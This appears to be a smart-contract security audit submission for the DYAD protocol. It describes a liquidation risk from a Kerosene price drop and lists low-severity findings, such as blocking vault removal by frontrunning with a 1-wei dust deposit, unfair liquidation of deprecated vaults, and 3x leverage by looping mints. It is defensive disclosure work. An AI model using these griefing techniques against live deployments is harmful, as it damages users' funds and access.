Liquidation now possible for vaults with 160% collateral ratio and suddenly drop to 120%-150% due to drop in KEROSENE value.

Tools Used

Recommended Mitigation Steps

KEROSENE TWAP oracle seem like good idea here.

Assessed type

Math

QA

• QA
  • Low
    • 1. KerosineManager.sol vaults license is not synchronize with VaultManagerV2 Licenser contract
    • 2. DOS remove() vault. Anyone can deposit dust token to prevent remove vault from active list
    • 3. Allow mint 0 DYAD and small loan not worth liquidation
    • 4. If Admin remove license from active vault. Liquidation still take tokens from deprecated vaults when it is not used as collateral
    • 5. If Admin remove license from active vault. Chance user cannot withdraw asset out of deprecated vault when collateral value drop along
    • 6. It is possible for user mint loan with x3 leverage

Low

1. KerosineManager.sol vaults license is not synchronize with VaultManagerV2 Licenser contract

KerosineManager.sol use its own license vaults list to calculate TVL value for Unbounded Kerosine. These vaults are WETH and wstETH vault.

VaultManagerV2 also use WETH and wstETH vault to calculate TVL for collateral. But it include license check. https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/VaultManagerV2.sol#L261-L263

So if WETH or wstETH vault removed from license list. Admin must also update KerosineManager license vault to reflect this too. Otherwise Kerosene AssetPrice() not return correct value as it only return value of all vaults including deprecated one.

This is a bit messy. It make more sense to make Enumerable Licenser for both non-Kerosene vault and Kerosene vault.

2. DOS remove() vault. Anyone can deposit dust token to prevent remove vault from active list

VaultManagerV2 allow 5 max normal vaults and 5 max Kerosene vault. To remove vault from active vault list. User must have no deposit inside these vault. https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/VaultManagerV2.sol#L101

This can be prevented by other user. Other user can deposit into any DNFT id. https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/VaultManagerV2.sol#L125

By frontrun depositing 1 wei token, remove() vault transaction will fail.

3. Allow mint 0 DYAD and small loan not worth liquidation

Mint DYAD accept zero as value. https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/VaultManagerV2.sol#L156-L169

DNFT cost minimum 0.1 ETH to mint. So it is not worth anyone time to spread small loan minting to prevent liquidation gas cost. It is still reasonable to have minimum loan amount.

4. If Admin remove license from active vault. Liquidation still take tokens from deprecated vaults when it is not used as collateral

Summarize underlying issue with 2 lines:

1. Getting Total Collateral USD value exclude vault missing license.
2. liquidation does not check vault is licensed before transfer assets from user to liquidator.

This resulted in Unfair liquidation taking away assets not belong to collateral anymore when admin remove vault license.

5. If Admin remove license from active vault. Chance user cannot withdraw asset out of deprecated vault when collateral value drop along

When a vault is deprecated and removed from license list, it is still possible to deposit into deprecated vault. Withdrawal is not possible without passing collateral check. Because deprecated vault not included as collateral, user holding all tokens inside deprecated vault cannot withdraw until collateral Ratio rise 150% again by deposit different tokens which they might not have.

6. It is possible for user mint loan with x3 leverage

By converting stable coin DYAD back to WETH and keep deposit to vault and mint more DYAD. Repeat this process sequence and 150% minimum collateral give x3 leverage after loop this 9 times.

Because liquidation and mint have no fee. This give user abilities to use this project as trading long/short call with 3x leverage.